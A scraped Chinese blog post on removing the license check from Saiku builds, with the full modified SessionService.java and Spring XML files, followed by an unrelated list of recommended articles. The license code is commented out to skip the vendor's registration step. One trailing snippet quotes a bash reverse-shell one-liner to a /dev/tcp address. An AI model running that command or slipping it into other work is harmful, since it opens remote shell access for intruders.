$(this.el).append("<div><div id='uphead' class='upgradeheader'>You are using Saiku Community" +
" Edition, please consider upgrading to <a target='_blank' href='http://meteorite.bi'>Saiku Enterprise</a>, or entering a <a href='http://meteorite.bi/products/saiku/sponsorship'>sponsorship agreement with us</a> to support development. " +
"<a href='http://meteorite.bi/products/saiku/community'>Or contribute by joining our community and helping other users!</a></div></div>");
return self;
}
} */ }, call: function(e) {
} });

  

=================二次更新= (第一次通过操作以上步骤确实能正常打包编译saiku然后启动 也不需要上传license验证信息,但是我最近重新编译源码的时候发现license相关报错了。。)===start=========

所以我们开始根据报错信息找到配置文件 saiku-beans.xml文件,将关于License的bean注入都给注释掉,然后sessionService中的License对象注入也注释掉,以及plugin中的license也注释掉

需要注释的内容:

SessionService.java

/*private ILicenseUtils l;

	public ILicenseUtils getL() {
return l;
} public void setL(ILicenseUtils l) {
this.l = l;
}*/  

saiku-beans.xml

   <!--  <bean id="licenseUtilsBean" class="org.saiku.service.license.LicenseUtils" init-method="init">
<property name="repositoryDatasourceManager" ref="repositoryDsManager" />
</bean>
--> <bean id="sessionService" class="org.saiku.web.service.SessionService">
<property name="authenticationManager" ref="authenticationManager"/>
<property name="sessionRepo" ref="sessionRepo"/>
<property name="authorisationPredicate" ref="authorisationPredicate"/>
<!-- <property name="l" ref="licenseUtilsBean"/> -->
<property name="orbisAuthEnabled" value="${orbis.auth.enabled}"/>
<!-- <property name="allowAnonymous" value="true" /> -->
</bean> <!-- <bean id="licenseUtils" class="org.saiku.service.license.LicenseUtils">
<property name="repositoryDatasourceManager" ref="repositoryDsManager"/>
</bean> -->
<!-- <bean id="licenseBean" class="org.saiku.web.rest.resources.License">
<property name="databaseManager" ref="h2database"/>
<property name="licenseUtils" ref="licenseUtils"/>
<property name="userService" ref="userServiceBean"/>
</bean> -->

plugin.spring.xml

	<bean id="sessionService" class="org.saiku.plugin.PentahoSessionServiceSeven">
<property name="userService" ref="userServiceBean"/>
<!-- <property name="l" ref="licenseUtilsBeanPlugin"/> -->
</bean> <!-- <bean id="licenseUtilsBeanPlugin" class="org.saiku.plugin.LicenseUtils" init-method="init">
<property name="repositoryDatasourceManager" ref="repositoryDsManager"/>
</bean> --> <!-- <bean id="licenseBean" class="org.saiku.plugin.resources.PentahoLicenseResource">
<property name="licenseUtils" ref="licenseUtilsBeanPlugin"/>
<property name="userService" ref="userServiceBean"/>
</bean> -->

  

完整的SessionService.java

/*
* Copyright 2012 OSBI Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/ package org.saiku.web.service; import org.apache.commons.lang.StringUtils;
import org.saiku.repository.ScopedRepo;
import org.saiku.service.ISessionService;
import org.saiku.service.license.ILicenseUtils; import bi.meteorite.license.LicenseException;
import bi.meteorite.license.SaikuLicense2;
import org.saiku.service.util.security.authorisation.AuthorisationPredicate; import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.authentication.AnonymousAuthenticationToken;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.BadCredentialsException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.WebAuthenticationDetails;
import org.springframework.web.context.request.RequestContextHolder; import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.UUID; import javax.jcr.RepositoryException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession; public class SessionService implements ISessionService { private static final Logger log = LoggerFactory.getLogger(SessionService.class); private AuthenticationManager authenticationManager;
private AuthorisationPredicate authorisationPredicate; private final Map<Object,Map<String,Object>> sessionHolder = new HashMap<>(); private Boolean anonymous = false;
private ScopedRepo sessionRepo;
private Boolean orbisAuthEnabled = false; public void setAllowAnonymous(Boolean allow) {
this.anonymous = allow;
} /*private ILicenseUtils l; public ILicenseUtils getL() {
return l;
} public void setL(ILicenseUtils l) {
this.l = l;
}*/ /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#setAuthenticationManager(org.springframework.security.authentication.AuthenticationManager)
*/
public void setAuthenticationManager(AuthenticationManager auth) {
this.authenticationManager = auth;
} public void setAuthorisationPredicate(AuthorisationPredicate authorisationPredicate)
{
this.authorisationPredicate = authorisationPredicate;
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#login(javax.servlet.http.HttpServletRequest, java.lang.String, java.lang.String)
*/
/**modify the login for getting rid of license validate 2019-03-29*/
public Map<String, Object> login(HttpServletRequest req, String username, String password ) throws LicenseException {
// Object sl = null;
// String notice = null;
HttpSession session = ((HttpServletRequest)req).getSession(true);
session.getId();
sessionRepo.setSession(session);
// try {
// sl = l.getLicense();
// } catch (Exception e) {
// log.debug("Could not process license", e);
// throw new LicenseException("Error fetching license. Get a free license from http://licensing.meteorite.bi. You can upload it at /upload.html");
// } // if (sl != null) { // try {
// l.validateLicense();
// } catch (RepositoryException | IOException | ClassNotFoundException e) {
// log.debug("Repository Exception, couldn't get license", e);
// throw new LicenseException("Error fetching license. Please check your logs.");
// } if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null
&& SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (authorisationPredicate.isAuthorised(auth)) {
Object p = auth.getPrincipal();
createSession(auth, username, password);
return sessionHolder.get(p);
} else {
log.info(username + " failed authorisation. Rejecting login");
throw new RuntimeException("Authorisation failed for: " + username);
}
}
return new HashMap<>();
} /** The old login validation , have to validate license information
public Map<String, Object> login(HttpServletRequest req, String username, String password ) throws LicenseException {
Object sl = null;
String notice = null;
HttpSession session = ((HttpServletRequest)req).getSession(true);
session.getId();
sessionRepo.setSession(session);
try {
sl = l.getLicense();
} catch (Exception e) {
log.debug("Could not process license", e);
throw new LicenseException("Error fetching license. Get a free license from http://licensing.meteorite.bi. You can upload it at /upload.html");
} if (sl != null) { try {
l.validateLicense();
} catch (RepositoryException | IOException | ClassNotFoundException e) {
log.debug("Repository Exception, couldn't get license", e);
throw new LicenseException("Error fetching license. Please check your logs.");
} try {
if (l.getLicense() instanceof SaikuLicense2) { if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null
&& SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (authorisationPredicate.isAuthorised(auth)) {
Object p = auth.getPrincipal();
createSession(auth, username, password);
return sessionHolder.get(p);
} else {
log.info(username + " failed authorisation. Rejecting login");
throw new RuntimeException("Authorisation failed for: " + username);
}
}
return new HashMap<>();
}
} catch (IOException | ClassNotFoundException | RepositoryException e) {
log.debug("Repository Exception, couldn't get license", e);
throw new LicenseException("Error fetching license. Please check your logs.");
}
}
return null;
}
*/
private void createSession(Authentication auth, String username, String password) { if (auth == null || !auth.isAuthenticated()) {
return;
} boolean isAnonymousUser = (auth instanceof AnonymousAuthenticationToken);
Object p = auth.getPrincipal();
String authUser = getUsername(p);
boolean isAnonymous = (isAnonymousUser || StringUtils.equals("anonymousUser", authUser));
boolean isAnonOk = (!isAnonymous || (isAnonymous && anonymous)); if (isAnonOk && auth.isAuthenticated() && p != null && !sessionHolder.containsKey(p)) {
Map<String, Object> session = new HashMap<>(); if (isAnonymous) {
log.debug("Creating Session for Anonymous User");
} if (StringUtils.isNotBlank(username)) {
session.put("username", username);
} else {
session.put("username", authUser);
}
if (StringUtils.isNotBlank(password)) {
session.put("password", password);
}
session.put("sessionid", UUID.randomUUID().toString());
session.put("authid", RequestContextHolder.currentRequestAttributes().getSessionId());
List<String> roles = new ArrayList<>();
for (GrantedAuthority ga : SecurityContextHolder.getContext().getAuthentication().getAuthorities()) {
roles.add(ga.getAuthority());
}
session.put("roles", roles); sessionHolder.put(p, session);
} } private String getUsername(Object p) { if (p instanceof UserDetails) {
return ((UserDetails)p).getUsername();
}
return p.toString();
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#logout(javax.servlet.http.HttpServletRequest)
*/
public void logout(HttpServletRequest req) {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Object p = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (sessionHolder.containsKey(p)) {
sessionHolder.remove(p);
}
} SecurityContextHolder.getContext().setAuthentication(null);
SecurityContextHolder.clearContext(); HttpSession session = req.getSession(false); if (session != null && !orbisAuthEnabled) { // Just invalidate if not under orbis authentication workflow
session.invalidate();
}
} /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#authenticate(javax.servlet.http.HttpServletRequest, java.lang.String, java.lang.String)
*/
public void authenticate(HttpServletRequest req, String username, String password) {
try {
UsernamePasswordAuthenticationToken token = new UsernamePasswordAuthenticationToken(username, password);
token.setDetails(new WebAuthenticationDetails(req));
Authentication authentication = this.authenticationManager.authenticate(token);
log.debug("Logging in with [{}]", authentication.getPrincipal());
SecurityContextHolder.getContext().setAuthentication(authentication);
}
catch (BadCredentialsException bd) {
throw new RuntimeException("Authentication failed for: " + username, bd);
} } /* (non-Javadoc)
* @see org.saiku.web.service.ISessionService#getSession(javax.servlet.http.HttpServletRequest)
*/
public Map<String,Object> getSession() {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal(); if (sessionHolder.containsKey(p)) {
Map<String, Object> r = new HashMap<>();
r.putAll(sessionHolder.get(p));
r.remove("password"); if (!r.containsKey("sessionid")) {
r.put("sessionid", UUID.randomUUID().toString());
} return r;
}
} return new HashMap<>();
} public Map<String,Object> getAllSessionObjects() {
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal();
//createSession(auth, null, null);
if (sessionHolder.containsKey(p)) {
Map<String,Object> r = new HashMap<>();
r.putAll(sessionHolder.get(p));
return r;
} }
return new HashMap<>();
} public void clearSessions(HttpServletRequest req, String username, String password) throws Exception {
if (authenticationManager != null) {
authenticate(req, username, password);
}
if (SecurityContextHolder.getContext() != null && SecurityContextHolder.getContext().getAuthentication() != null) {
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
Object p = auth.getPrincipal();
if (sessionHolder.containsKey(p)) {
sessionHolder.remove(p);
}
} } public void setSessionRepo(org.saiku.repository.ScopedRepo sessionRepo) {
this.sessionRepo = sessionRepo;
} public Boolean isOrbisAuthEnabled() {
return orbisAuthEnabled;
} public void setOrbisAuthEnabled(Boolean orbisAuthEnabled) {
this.orbisAuthEnabled = orbisAuthEnabled;
}
}

  

完整的saiku-beans.xml

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:aop="http://www.springframework.org/schema/aop"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
http://www.springframework.org/schema/aop/spring-aop-3.0.xsd"> <context:property-placeholder
location="/WEB-INF/saiku-beans.properties"
ignore-resource-not-found="true"
ignore-unresolvable="true"
order ="0" /> <context:property-placeholder
location="file:///${ext.prop.dir}saiku-beans.properties"
ignore-resource-not-found="true"
ignore-unresolvable="true"
order ="-1" /> <bean id="sessionRegistry"
class="org.springframework.security.core.session.SessionRegistryImpl" /> <!-- <bean id="classpathDsManager"
class="org.saiku.service.datasource.ClassPathResourceDatasourceManager">
<property name="path" value="res:saiku-datasources" />
</bean>-->
<bean id="repositoryDsManager" class="org.saiku.service.datasource.RepositoryDatasourceManager" init-method="load" destroy-method="unload">
<!--aop:scoped-proxy/--> <property name="userService" ref="userServiceBean"/>
<property name="configurationpath" value="${repoconfig}"/>
<property name="datadir" value="${repodata}"/>
<property name="foodmartdir" value="${foodmartrepo}"/>
<property name="foodmartschema" value="${foodmartschema}"/>
<property name="foodmarturl" value="${foodmarturl}"/>
<property name="earthquakeDir" value="${earthquakerepo}"/>
<property name="earthquakeSchema" value="${earthquakeschema}"/>
<property name="earthquakeUrl" value="${earthquakeurl}"/>
<property name="repoPasswordProvider" ref ="repoPasswordProviderBean"/>
<property name="defaultRole" value="${default.role}"/>
<property name="externalPropertiesFile" value="${external.properties.file}"/>
<!-- If you change the repoPassword set this property for at least 1 restart to update the old repo password-->
<!--<property name="oldRepoPassword" value="sa!kuanalyt!cs"/>-->
<property name="type" value="${repo.type}"/>
<property name="sessionRegistry" ref="sessionRepo"/>
<property name="workspaces" value="${workspaces}"/>
<!-- MarkLogic specific properties -->
<property name="host" value="${repo.host}"/>
<property name="port" value="${repo.port}"/>
<property name="username" value="${repo.username}"/>
<property name="password" value="${repo.password}"/>
<property name="database" value="${repo.database}"/>
</bean> <bean id="repoPasswordProviderBean" class="org.saiku.service.util.security.authentication.SimplePasswordProvider">
<constructor-arg index="0" value="${webdav.password}"/>
</bean> <!-- <bean id="licenseUtilsBean" class="org.saiku.service.license.LicenseUtils" init-method="init">
<property name="repositoryDatasourceManager" ref="repositoryDsManager" />
</bean>
--> <bean id="h2database" class="org.saiku.database.Database" init-method="init">
<property name="datasourceManager" ref="repositoryDsManager"/>
</bean> <bean id="authorisationPredicate" class="org.saiku.service.util.security.authorisation.MustBeAuthenticatedAuthorisation"/> <bean id="sessionRepo" class="org.saiku.repository.ScopedRepo" scope="session">
<aop:scoped-proxy/>
</bean> <bean id="sessionService" class="org.saiku.web.service.SessionService">
<property name="authenticationManager" ref="authenticationManager"/>
<property name="sessionRepo" ref="sessionRepo"/>
<property name="authorisationPredicate" ref="authorisationPredicate"/>
<!-- <property name="l" ref="licenseUtilsBean"/> -->
<property name="orbisAuthEnabled" value="${orbis.auth.enabled}"/>
<!-- <property name="allowAnonymous" value="true" /> -->
</bean> <bean id="securityContextPersistenceFilter" class="org.springframework.security.web.context.SecurityContextPersistenceFilter"/>
<bean class="org.saiku.datasources.connection.MondrianVFS" init-method="init" id="mondrianVFS">
<property name="datasourceManager" ref="repositoryDsManager"/>
</bean>
<bean id="connectionManager" class="org.saiku.web.core.SecurityAwareConnectionManager" init-method="init"
destroy-method="destroy" depends-on="mondrianVFS">
<property name="userService" ref="userServiceBean"/>
<property name="dataSourceManager" ref="repositoryDsManager"/>
<property name="sessionService" ref="sessionService"/>
</bean> <bean id="datasourceServiceBean" class="org.saiku.service.datasource.DatasourceService">
<property name="connectionManager" ref="connectionManager"/>
</bean> <bean id="userDaoDataSource"
class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="${userdao.driverclass}" />
<property name="url"
value="${userdao.url}"/>
<property name="username" value="${userdao.username}" />
<property name="password" value="${userdao.password}" />
</bean> <bean id="userDAO" class="org.saiku.database.JdbcUserDAO">
<property name="dataSource" ref="userDaoDataSource" />
</bean> <bean id="userServiceBean" class="org.saiku.service.user.UserService">
<property name="jdbcUserDAO" ref="userDAO"/>
<property name="datasourceService" ref="datasourceServiceBean"/>
<property name="iDatasourceManager" ref="repositoryDsManager"/>
<property name="adminRoles">
<list>
<value>ROLE_ADMIN</value>
</list>
</property>
<property name="sessionService" ref="sessionService"/>
</bean>
<bean id="logwriterbean" class="org.saiku.log.LogExtractor">
<property name="logdirectory" value="${logdir}"/>
</bean>
<bean id="adminBean" class="org.saiku.web.rest.resources.AdminResource">
<property name="userService" ref="userServiceBean"/>
<property name="datasourceService" ref="datasourceServiceBean"/>
<property name="olapDiscoverService" ref="olapDiscoverServiceBean"/>
<property name="repositoryDatasourceManager" ref="repositoryDsManager"/>
<property name="logExtractor" ref="logwriterbean"/>
</bean> <bean id="olapDiscoverServiceBean" class="org.saiku.service.olap.OlapDiscoverService">
<property name="datasourceService" ref="datasourceServiceBean"/>
</bean> <bean id="olapQueryBean" scope="session" class="org.saiku.service.olap.OlapQueryService" destroy-method="destroy">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean"/>
</bean> <!--<bean id="datasourceResourceBean" class="org.saiku.web.rest.resources.DataSourceResource">
<property name="datasourceService" ref="datasourceServiceBean"/>
<property name="userService" ref="userServiceBean"/>
</bean>--> <bean id="olapDiscoverBean" scope="session"
class="org.saiku.web.rest.resources.OlapDiscoverResource">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean"/>
</bean> <bean id="queryResource" scope="request"
class="org.saiku.web.rest.resources.QueryResource">
<property name="olapQueryService" ref="olapQueryBean"/>
<property name="olapDiscoverService" ref="olapDiscoverServiceBean"/>
<property name="repository" ref="repository2bean"/>
</bean> <bean id="thinQueryBean" scope="session"
class="org.saiku.service.olap.ThinQueryService">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean"/>
</bean> <bean id="platformBean" class="org.saiku.service.PlatformUtilsService">
<property name="path" value="${pluginpath}"/>
</bean> <bean id="infoResource" class="org.saiku.web.rest.resources.InfoResource">
<property name="platformUtilsService" ref="platformBean"/>
</bean> <bean id="queryResource2" scope="request"
class="org.saiku.web.rest.resources.Query2Resource">
<property name="thinQueryService" ref="thinQueryBean"/>
<property name="repository" ref="repository2bean"/>
</bean> <bean id="sessionResource" class="org.saiku.web.rest.resources.SessionResource">
<property name="sessionService" ref="sessionService"/>
<property name="userService" ref="userServiceBean"/> </bean> <bean id="repository2bean" scope="request"
class="org.saiku.web.rest.resources.BasicRepositoryResource2">
<property name="sessionService" ref="sessionService"/>
<property name="datasourceService" ref="datasourceServiceBean"/>
</bean> <bean id="filterRepositoryBean" scope="session"
class="org.saiku.web.rest.resources.FilterRepositoryResource">
<property name="olapQueryService" ref="olapQueryBean"/>
<property name="sessionService" ref="sessionService"/>
</bean> <bean id="exporterBean" scope="request"
class="org.saiku.web.rest.resources.ExporterResource">
<property name="repository" ref="repository2bean"/>
<property name="query2Resource" ref="queryResource2"/>
</bean> <!-- <bean id="licenseUtils" class="org.saiku.service.license.LicenseUtils">
<property name="repositoryDatasourceManager" ref="repositoryDsManager"/>
</bean> -->
<!-- <bean id="licenseBean" class="org.saiku.web.rest.resources.License">
<property name="databaseManager" ref="h2database"/>
<property name="licenseUtils" ref="licenseUtils"/>
<property name="userService" ref="userServiceBean"/>
</bean> --> <bean id="statsBean" class="org.saiku.web.rest.resources.StatisticsResource"/> <bean id="startupBean" class="org.saiku.web.rest.util.StartupResource" init-method="init"/> </beans>

  

完整的plugin.spring.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ws="http://jax-ws.dev.java.net/spring/core"
xmlns:wss="http://jax-ws.dev.java.net/spring/servlet"
xmlns:pen="http://www.pentaho.com/schema/pentaho-system"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-2.5.xsd
http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util-2.5.xsd
http://jax-ws.dev.java.net/spring/core http://jax-ws.dev.java.net/spring/core.xsd
http://jax-ws.dev.java.net/spring/servlet http://jax-ws.dev.java.net/spring/servlet.xsd
http://www.pentaho.com/schema/pentaho-system http://www.pentaho.com/schema/pentaho-system.xsd"> <context:annotation-config /> <!-- uncomment for direct jersey services -->
<!-- bean id="jaxrsPluginServlet" class="org.pentaho.plugin.j2ee.JAXRSPluginServlet" /--> <context:annotation-config /> <bean id="api" class="org.saiku.plugin.resources.ExtendedJAXRSPluginServlet"/> <bean id="contentAccessFactory" scope="prototype" class="pt.webdetails.cpf.PentahoPluginEnvironment" /> <bean id="userServiceBean" class="org.saiku.service.user.UserService">
<property name="datasourceService" ref="datasourceServiceBean"/>
<property name="iDatasourceManager" ref="pentahoDsManager"/>
<property name="adminRoles">
<list>
<value>Administrator</value>
</list>
</property>
<property name="sessionService" ref="sessionService"/>
</bean> <bean id="pentahoDsManager" class="org.saiku.plugin.PentahoDatasourceManager">
<property name="datasourceResolverClass" value="org.saiku.plugin.PentahoDataSourceResolver" />
<!-- <property name="dynamicSchemaProcessor" value="mondrian.i18n.LocalizingDynamicSchemaProcessor" /> -->
</bean> <bean id="connectionManager" class="org.saiku.plugin.PentahoSecurityAwareConnectionManager">
<property name="dataSourceManager" ref="pentahoDsManager" />
<property name="userAware" value="false" />
<property name="userService" ref="userServiceBean" />
<property name="connectionPooling" value="true" />
</bean> <bean id="datasourceServiceBean" class="org.saiku.service.datasource.DatasourceService">
<property name="connectionManager" ref="connectionManager" />
</bean> <bean id="olapDiscoverServiceBean" class="org.saiku.service.olap.OlapDiscoverService">
<property name="datasourceService" ref="datasourceServiceBean" />
</bean> <bean id="olapQueryBean" class="org.saiku.service.olap.OlapQueryService">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean" />
</bean> <bean id="thinQueryBean" class="org.saiku.service.olap.ThinQueryService">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean" />
</bean> <bean id="olapDiscoverBean" class="org.saiku.plugin.resources.PentahoDiscoverResource">
<property name="olapDiscoverService" ref="olapDiscoverServiceBean" />
</bean> <bean id="queryResource" class="org.saiku.plugin.resources.PentahoQueryResource">
<property name="thinQueryService" ref="thinQueryBean" />
<property name="repository" ref="repositoryBean2"/>
<property name="userService" ref="userServiceBean"/>
</bean> <bean id="sessionService" class="org.saiku.plugin.PentahoSessionServiceSeven">
<property name="userService" ref="userServiceBean"/>
<!-- <property name="l" ref="licenseUtilsBeanPlugin"/> -->
</bean> <bean id="sessionResource" class="org.saiku.plugin.resources.PentahoSessionResource">
<property name="sessionService" ref="sessionService" />
</bean> <bean id="repositoryBean2" class="org.saiku.plugin.resources.PentahoRepositoryResource2">
<property name="userService" ref="userServiceBean"/>
</bean> <bean id="filterRepositoryBean" class="org.saiku.plugin.resources.PentahoFilterRepositoryResource">
<property name="olapQueryService" ref="olapQueryBean" />
<property name="sessionService" ref="sessionService" />
<property name="path" value="saiku-repository"/>
</bean> <bean id="pluginResource" class="org.saiku.plugin.resources.PluginResource" /> <bean id="exporterBean" class="org.saiku.plugin.resources.PentahoExporterResource">
<property name="repository" ref="repositoryBean2" />
<property name="query2Resource" ref="queryResource" />
</bean> <bean id="saiku.editor" class="org.pentaho.platform.plugin.services.webservices.content.PluginFileContentGenerator" scope="prototype">
<property name="mimeType" value="text/html" />
<property name="relativeFilePath" value="ui/forward.html" />
<property name="pluginId" value="saiku" />
</bean> <bean id="saiku.run" class="org.pentaho.platform.plugin.services.webservices.content.PluginFileContentGenerator" scope="prototype">
<property name="mimeType" value="text/html" />
<property name="relativeFilePath" value="ui/forward.html" />
<property name="pluginId" value="saiku" />
</bean> <bean id="saiku" class="org.pentaho.platform.plugin.services.webservices.content.PluginFileContentGenerator" scope="prototype">
<property name="mimeType" value="text/html" />
<property name="relativeFilePath" value="ui/forward.html" />
<property name="pluginId" value="saiku" />
</bean> <bean class="org.pentaho.platform.engine.core.solution.ContentInfo">
<property name="mimeType" value="text/xml"/>
<property name="extension" value=".saiku"/>
<property name="canImport" value="true"/>
<property name="canExport" value="true"/>
<pen:publish as-type="INTERFACES"/>
</bean> <bean id="repositoryDsManager" class="org.saiku.plugin.PentahoRepositoryResource"/> <!-- <bean id="licenseUtilsBeanPlugin" class="org.saiku.plugin.LicenseUtils" init-method="init">
<property name="repositoryDatasourceManager" ref="repositoryDsManager"/>
</bean> --> <!-- <bean id="licenseBean" class="org.saiku.plugin.resources.PentahoLicenseResource">
<property name="licenseUtils" ref="licenseUtilsBeanPlugin"/>
<property name="userService" ref="userServiceBean"/>
</bean> --> <bean id="startupBean" scope="singleton" class="org.saiku.web.rest.util.StartupResource" init-method="init" /> </beans>

  

=================二次更新= (第一次通过操作以上步骤确实能正常打包编译saiku然后启动 也不需要上传license验证信息,但是我最近重新编译源码的时候发现license相关报错了。。)=====end=======

Saiku去掉License验证信息以及数据备份(二十一)的更多相关文章

  1. NoSQL 数据库案例实战 -- MongoDB数据备份、恢复

    MySQL数据迁移到MongoDB数据库中 前言 一.数据备份 二.数据恢复 前言 本环境是基于 Centos 7.8 系统构建mongodb-enterprise-4.2.8学习环境具体构建,请参考 ...

  2. react native-调用react-native-fs插件时,如果数据的接口是需要验证信息的,在android上运行报错

    调用react-native-fs插件时,如果数据的接口是需要验证信息的,在android上运行报错,而在iOS上运行没问题.原因是因为接口是有验证信息的,而调用这个插件时没有传入,在iOS上会自动加 ...

  3. MySQL 分区表原理及数据备份转移实战

    MySQL 分区表原理及数据备份转移实战 1.分区表含义 分区表定义指根据可以设置为任意大小的规则,跨文件系统分配单个表的多个部分.实际上,表的不同部分在不同的位置被存储为单独的表.用户所选择的.实现 ...

  4. 开源服务专题之-------rsync数据备份

    RSYNC是Remote Sync 远程同步的简称,与SCP的比较,SCP= 无法备份大量数据,类似windows的复制,而rsync=边复制 ,边统计,边比较,可以备份大量数据.可以镜像保存整个目录 ...

  5. Lotus防病毒与数据备份案例

    Lotus防病毒与数据备份案例 上文(http://chenguang.blog.51cto.com/350944/1334595)中我们已安装好了Domino服务器,这节里我们需要考虑安全解决方案, ...

  6. ocp11g培训内部教材_053课堂笔记(043)_数据备份

    053:数据库高级管理: 目录 第一部分:数据库备份与恢复... 4 第一章:备份恢复概述... 4 1.1 备份的意义: 4 1.2 数据库故障的类型:... 4 1.3 制定你的备份和恢复的计划. ...

  7. mysql用户授权及数据备份恢复

    用户授权与权限撤销 修改数据库管理员从本机登陆的密码测试: mysqladmin -hlocalhost -uroot -p password "新密码" Enter passwo ...

  8. rsync实现数据备份

    rsync实现数据备份 1.简介 rsync(remote synchronization)是一款开源的,快速的,多功能的,可实现全量和增量的的本地或远程数据同步备份的优秀工具. 2.功能 scp.c ...

  9. MySQL数据库----IDE工具介绍及数据备份

    一.IDE工具介绍 生产环境还是推荐使用mysql命令行,但为了方便我们测试,可以使用IDE工具 下载链接:https://pan.baidu.com/s/1bpo5mqj 二.MySQL数据备份 # ...

随机推荐

  1. java窗体

    听完老师所讲的窗体,然后自己就去尝试写代码,结果是窗体出现了,但是就是不能关闭,求解!! package Swing.src.swring; import java.awt.Color;import ...

  2. 自制操作系统Antz(7)——实现内核 (上)

    Antz系统更新地址: https://www.cnblogs.com/LexMoon/category/1262287.html Linux内核源码分析地址:https://www.cnblogs. ...

  3. 不能最为IF判断条件的属性

    <!DOCTYPE HTML><html><head><meta http-equiv="Content-Type" content=&q ...

  4. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  5. Jmeter 常见错误

    常见错误 https://testerhome.com/topics/10950 接口测试 https://blog.csdn.net/github_27109687/article/details/ ...

  6. ASP.NET MVC 访问静态文件

    When use asp.net MVC, we can add a special route to access the image files. the code like below: 1. ...

  7. IntelliJ IDEA 和 Pycharm 破解

    关键网址:http://idea.lanyus.com/ 步骤: 1. 在http://idea.lanyus.com/上下载:JetbrainsCrack-2.9-release-enc.jar . ...

  8. 承接Unity外包 U3D外包 Unity3D外包 小型Unity项目外包用Unity还是UE4

    转自mobilehub公众号(ID: mobilehub),作者:屠敏 VR浪潮席卷而来,相对于资本的狂热,现实中真正需要的是有实力的VR硬件研发团队和专业内容制作队伍.对于入门级的开发者而言,游戏引 ...

  9. 改变选择文字的color及background-color

    在一些特殊的网站中,常常会有着一些新奇的体验,在阅读网页的时候相信许多人都会和我一样有着一个习惯,把一些文字选中然后进行阅读,或者时要复制粘贴的时候选择文字对吧.然而无论是在ie,chrome,fir ...

  10. windows 根据端口查看进行PID 并杀掉进程

    1. 首先用netstat -ano | find “端口号”查出进程号 明明有端口号是17568和18892, 如何确定是17568呢 2. takslist 查询当前的进行 3. 如何杀死进程呢  ...